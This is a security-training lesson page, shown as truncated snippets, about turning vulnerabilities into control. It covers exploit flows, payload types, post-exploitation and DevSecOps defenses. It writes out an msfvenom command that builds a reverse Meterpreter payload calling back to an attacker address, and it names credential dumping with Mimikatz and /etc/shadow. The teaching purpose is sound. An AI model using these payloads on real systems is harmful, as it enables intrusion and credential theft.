This lesson explains how attackers convert discovered vulnerabilities into active control by combining exploit triggers with payloads, describes common payload types and delivery methods, and covers post-exploitation actions and practical defenses including DevSecOps integration. It balances offensive mechanics (exploit flows, payload taxonomy, reliability challenges) with defensive guidance (patching, EDR, CI/CD hardening) and recommends lab practice.
Exploitation Fundamentals and Payloads — the Part Where We Stop Asking "How" and Start Asking "How Deep Is the Rabbit Hole?" If you remember: we already mapped the attack surface, found entry points, and practiced credential harvesting & reuse like microscopic pickpockets. Now we go deeper: turnin...
What this is (and why it's next) This lesson builds on Attack Surface Mapping & Initial Access and Credential Harvesting and Reuse Risks . Those gave you the map and the keys. Here we learn how attackers actually use those keys — the exploitation mechanics — and the kinds of payloads they...
The Anatomy of an Exploit Flow (step-by-step) Choose a reliable vulnerability (from your mapping or scanner results). Craft or adapt an exploit to reliably trigger the flaw. Choose a payload (staged vs stageless, bind vs reverse, shellcode vs script). Deliver: phishing, exploitation via net...
Payload taxonomy — quick reference table Type What it is Pros Cons Typical use Reverse shell Target connects back to attacker Works through NAT, quick Needs network egress on target Interactive control Bind shell Target listens for attacker connections Simple Firewall ...
Practical payload examples (real‑world tools) msfvenom (Metasploit) — create payloads quickly: # Example: Windows reverse Meterpreter msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f exe -o payload.exe # Example: Linux reverse shell (bash) msfvenom -p cmd/unix/reverse_b...
Exploit reliability & constraints (the reality check) ASLR, DEP/NX, stack canaries — modern OS protections break many classic exploits. Exploit developers use ROP (return-oriented programming), heap sprays, or kernel exploits to bypass them. Environment variance — what works on dev/test mig...
Post-exploitation: the usual next moves (and why privilege escalation matters) Once a payload runs, attackers commonly: Dump credentials (Mimikatz on Windows; /etc/shadow on Linux). Escalate privileges — local exploits, misconfigurations, SUID binaries, token impersonation. Move laterally u...
Defenses that actually matter (and where DevSecOps fits) Patch management & vulnerability prioritization. This is the number-one practical defense. Your previous lesson on integrating scanners into CI/CD is the line of defense BEFORE code/deploy hits production. Least privilege & secret...
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